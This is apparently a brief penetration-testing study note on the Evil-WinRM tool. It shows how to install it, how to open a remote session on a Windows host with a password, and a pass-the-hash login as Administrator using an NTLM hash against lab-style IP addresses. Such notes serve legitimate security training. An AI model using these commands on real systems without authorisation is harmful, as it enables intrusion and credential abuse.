Evil-WinRM

• Tool used for [[WinRM Attacks|WinRM]]

Installing Evil-WinRM

sudo gem install evil-winrm

Evil-WinRM Usage

evil-winrm -i <target-IP> -u <username> -p <password>

evil-winrm -i 10.129.42.197 -u user -p password

Pass-the-Hash

Pass-the-Hash with Evil-WinRM Example

evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"